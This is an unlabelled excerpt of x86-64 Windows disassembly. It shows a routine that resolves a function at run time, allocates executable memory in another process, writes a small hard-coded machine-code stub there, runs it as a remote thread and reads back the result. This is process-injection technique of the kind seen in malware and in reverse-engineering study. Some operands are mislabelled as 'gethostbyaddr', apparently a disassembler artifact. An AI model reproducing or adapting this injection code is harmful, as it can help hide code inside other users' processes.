movzx eax, byte [rbp + rdi - 0x11]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1401c5a42
sub dil, 0x32
mov ecx, gethostbyaddr
movzx eax, bl
and al, dil
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dil
jmp 0x1401c5a36
sub dil, 0x1e
movzx eax, bl
and al, dil
add al, al
sub bl, al
lea r11d, [rdi + rbx]
sub r11b, 0x2e
jmp 0x1401c5a30
lea rdx, [rbp + 0x140c137]
jmp 0x1401c64c3
lea rdx, [rbp + 0x96572d]
jmp 0x1401c64c3
lea rdx, [rbp - 0x11]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1401c64ea
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
mov dword [rcx], eax
mov eax, 0x10100001
jmp 0x1401c66d5
xor esi, esi
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov qword [rbp - 0x49], rsi
mov r9d, 0x3000
mov r8d, 0x100
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1401c652d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
mov dword [rcx], eax
mov eax, 0x10100002
jmp 0x1401c66d5
mov rax, qword [rbp + 0x6f]
lea r8, [rbp - 0x41]
mov qword [rbp - 0x41], rax
mov r9d, gethostbyaddr
mov rax, qword [rbp + 0x67]
mov rdx, rdi
mov rcx, r13
mov qword [rbp - 0x39], rax
mov dword [rbp - 0x31], 0x48c18b48
mov dword [rbp - 0x2d], 0x8348088b
mov dword [rbp - 0x29], 0x50ff28ec
mov dword [rbp - 0x25], 0xc4834808
mov dword [rbp - 0x21], 0xd8d4828
mov dword [rbp - 0x1d], 0xffffffd8
mov dword [rbp - 0x19], 0x48018948
mov word [rbp - 0x15], 0xc031
mov byte [rbp - 0x13], 0xc3
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1401c65c2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov dword [rcx], eax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100003
jmp 0x1401c66d5
mov qword [rsp + 0x50], rsi
lea rax, [rdi + 0x10]
mov qword [rsp + 0x48], rsi
lea rcx, [rbp - 0x49]
mov qword [rsp + 0x40], rsi
mov r9, r13
mov qword [rsp + 0x38], rsi
xor r8d, r8d
mov dword [rsp + 0x30], esi
mov edx, 0x1fffff
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x1401c66b5
mov rcx, qword [rbp - 0x49]
test rcx, rcx
je 0x1401c66b5
mov edx, 0x7530
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x1401c665e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
xor edx, edx
mov dword [rcx], eax
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100009
jmp 0x1401c66d5
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8, qword [rbp + 0x7f]
mov r9d, 8
mov rdx, rdi
mov qword [rsp + 0x20], rsi
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r13
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test ebx, ebx
jne 0x1401c66b1
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x77]
mov dword [rcx], eax
mov eax, 0x10100008
jmp 0x1401c66d5
xor eax, eax
jmp 0x1401c66d5
mov rcx, qword [rbp + 0x77]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov dword [rcx], eax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, 0x10100004
mov rbx, qword [rsp + 0x120]
add rsp, 0xe0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret